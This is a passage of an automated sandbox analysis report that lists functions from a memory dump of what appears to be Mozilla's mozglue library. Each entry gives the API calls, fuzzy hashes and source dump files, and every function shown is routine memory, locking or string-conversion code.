Opcode ID: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction ID: 8ce947244d5cbc10c64b9c5882184560a2a2ae75396da08a335d8b8f0829866d
Opcode Fuzzy Hash: cff65f50e53103f362ce9ba93de695206569c6997d784dd6d3388b9ab68587f9
Instruction Fuzzy Hash: E211A131608B54DFCB009F15C849B59BBB8FB8932DF254519E94567A50C770F884CBD1

Function 6C9A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0CD5

Part of subcall function 6C98F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9A0D40
free.MOZGLUE ref: 6C9A0DCB

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

free.MOZGLUE ref: 6C9A0DDD
free.MOZGLUE ref: 6C9A0DF2

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction ID: 8b6228db4b23bef3e1e6a4d1db5b717f2f806b281f9c4a3e2c91d2a6705c6c9f
Opcode Fuzzy Hash: 0d978a4cfd0547df25233c8c2ea475f30d0db58acc2b2a11a62c3ee0755f98d6
Instruction Fuzzy Hash: 8A413572A097809BD320CF29C08039EFBE5BF98614F119A2EE8D987B50D770E445CB82

Function 6C990800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C99084C
EnterCriticalSection.KERNEL32(?), ref: 6C9908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9908BD
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9908D5

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction ID: 5d66724608351e1b8e152e020084574ade333fcedd537deb69491c5a7c919f5d
Opcode Fuzzy Hash: 847f76282d066539a08ffb6f0fd6e8202346187db3a98a0fe5eb6cef1808141d
Instruction Fuzzy Hash: EB21B331B0564A9BEB048F66D844BAEB779AF49708F680568D519B7A40DB32E844CBD0

Function 6C9ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDA4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD158
Part of subcall function 6C9AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9ACDBA,00100000,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACDC4

Part of subcall function 6C9A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9B15FC,?,?,?,?,6C9B15FC,?), ref: 6C9A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9ACECC

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

Part of subcall function 6C99CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9ACEEA,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000), ref: 6C99CB57
Part of subcall function 6C99CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C99CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9ACEEA,?,?), ref: 6C99CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?,00000000,?), ref: 6C9AD058

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction ID: e13b5ba873cb11a38f191cfca532ba899a9c01f1d82dbc39d27802f7eb277510
Opcode Fuzzy Hash: 21ab459e2694be5d92007f9fc188c5177eff413676b63e37775e5b056bf0d785
Instruction Fuzzy Hash: ECD16F71A04B56DFD708CF28C4807A9F7E1BF99308F05862DD8598B751EB31E9A5CB81

Function 6C961720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9618EE
free.MOZGLUE(?), ref: 6C961911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96194C

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction ID: e1d8d6752d8c89da296225dcf8104f89744ad6ff8dd53e8bf47747fb72a66d02
Opcode Fuzzy Hash: 12d6be15841c6c0ece9b719a04f1b84cbad1ca020cf3b534e317b819b391aeff
Instruction Fuzzy Hash: A181E770A152059FDB08CF69D8D45BEBBB1FF8A310F04456DE811ABB90D730E854CBA2

Function 6C975C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C975D40
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C975D67
__aulldiv.LIBCMT ref: 6C975DB4
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C975DED

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction ID: 1f87f39f8e3ef7c84aa57ec3eef4dbb2e3f64417e9166057b9da5a500d700b55
Opcode Fuzzy Hash: 1848d507069d5ab967d3f2ef7fb882371dae29ac8d10ad724a742759ff74307b
Instruction Fuzzy Hash: 77518D71E055198FCF08CF68C955BAEBBB1FB89308F298619D811B7B50C730B985CB90

Function 6C95CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C95CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C95CF4E

Strings

0, xrefs: 6C95CF30

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction ID: dc4f0ea235c2803fa0aad74319c0a12519226d35278ffde2eabba60f27fc35f0
Opcode Fuzzy Hash: 0e851ffa705033111940aa1c33e4e3d91d700d23ea7ee9f0b9783dfe3b6a0d03
Instruction Fuzzy Hash: CE510375A042568FCB00CF18C890A9ABBB5EF99300F19859DDC595F751D731ED16CBE0

Function 6C9B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9B7829

Part of subcall function 6C98CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9531A7), ref: 6C98CC45
Part of subcall function 6C98CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9531A7), ref: 6C98CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B78CF

Part of subcall function 6C954DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C954E5A
Part of subcall function 6C954DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C954E97

Part of subcall function 6C954290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C993EBD,6C993EBD,00000000), ref: 6C9542A9

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction ID: f052142582ff73968bc6d3a7b89b9dc90c6ff24a43dcf738ae1e8fc1bf822f00
Opcode Fuzzy Hash: caf3e7704822f2addaf2677514d346225285f95a206d5c06274acda0d33bd75b
Instruction Fuzzy Hash: 2241A171904B469BD300DF29C48056BFBF4FF9A254F604B2EE4A997680DB30E559CB92

Function 6C996470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9982BC,?,?), ref: 6C99649B

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9964A9

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C99653F
free.MOZGLUE(?), ref: 6C99655A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction ID: 5d1ed47b612aaa19d3445733a6fce65672bf1dbe08f0c3282fef5dc97e92502d
Opcode Fuzzy Hash: 78b174288c16fb3899ff68a040e3794a56d5920168d6b753a99ca4954e498543
Instruction Fuzzy Hash: 8B317EB5A08705AFD740CF14D880A9ABBF4BFA8314F10482EE85A97740DB30E919CB92

Function 6C98FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C98FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C98FFF5
free.MOZGLUE(?,?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?), ref: 6C99001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9AD019,?,?,?,?,?,00000000,?,6C99DA31,00100000,?,?), ref: 6C99002A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction ID: f4e5e0f5c16f909b7cb312d189a806363e8cca5c1bbd63e2f55b1bae78501e82
Opcode Fuzzy Hash: d1e9a6697ef0f8e2fdef3903f4ecd0da94cf41952a868af1e85a09b52c30ccae
Instruction Fuzzy Hash: 092108B2B002155BC7089E7C9C948AFB7BAFB993283250738D425D7780EB30DD1186E1

Function 6C96B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C96B4F5
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B502
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C96B542
free.MOZGLUE(?), ref: 6C96B578

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction ID: 0894c2c953dea2b7385df97e14bc304ed39d16faa6129f7da71c1011abd265c9
Opcode Fuzzy Hash: 413b91b72791cdf31f6e5a20aea3889f753af2122a8e2120a1d9d3bf3532e05d
Instruction Fuzzy Hash: 36118C31A08F45C7E7218F2AC8047A5B3B5FFA6319F24970AE84963E01FBB1F1C59691

Function 6C993DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C95F20E,?), ref: 6C993DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C95F20E,00000000,?), ref: 6C993DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C993E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C993E0E

Part of subcall function 6C98CC00: GetCurrentProcess.KERNEL32(?,?,6C9531A7), ref: 6C98CC0D
Part of subcall function 6C98CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9531A7), ref: 6C98CC16

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction ID: 82f8c848c077912729aa79f4c00a0283270150cdbdaa2a7c1ece37f49bf143a2
Opcode Fuzzy Hash: 1780f16c9e4972a978fc2bac2f17faf98be9e3e029178694cfe04844e1628a54
Instruction Fuzzy Hash: 57F012716002087BDB00AB54DC81DAB376DEF56628F140420FD0957741D635FE6596F7

Function 6C9A20B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A20B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C98FBD1), ref: 6C9A20DA
free.MOZGLUE(00000000,?,6C98FBD1), ref: 6C9A20F1

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction ID: dffe14cf7f10b13ba22c6fcd429b6cdec438255aa13afdc113a47be198ebd7f5
Opcode Fuzzy Hash: 98e032636ff37c3595b6f6039d7dce6c37bc0714a5563ed82be1aebd06bb9ba7
Instruction Fuzzy Hash: 43E0E531608E259BC3209F26980854EB7F9EF96218B20022AE50AD3B00DB75F58686E6

Function 6C9A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C9A85D3

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C9A8725

Strings

map/set<T> too long, xrefs: 6C9A8720

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction ID: 78abb823d426034734ac82ea2d71a2a9e40651a0948d6a7529e1d0d1c1036994
Opcode Fuzzy Hash: d388070a54c6fb628f315dcb6579e435a8d66e584e0028e601dd40f85569fcc6
Instruction Fuzzy Hash: 3F518774A00685CFE709CF58C084B65BBF1BF59318F19C19AD8595BB62C334E846CF96

Function 6C95BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C95BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C95BE8F

Strings

0, xrefs: 6C95BE5B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction ID: 224e669c214a6a55e36c1d0313d10456ede9b70068a574a7b6ec19c97907299e
Opcode Fuzzy Hash: 3bb851d4a24a3c94b1b57a50d7ada213a41af0139628a2820582b090ee4dd058
Instruction Fuzzy Hash: 1A41A271A09749CFC701CF38C481A9BB7F4AF9A348F448A1DF985A7611D731E969CB82

Function 6C993CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993D19
mozalloc_abort.MOZGLUE(?), ref: 6C993D6C

Strings

d, xrefs: 6C993D58

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

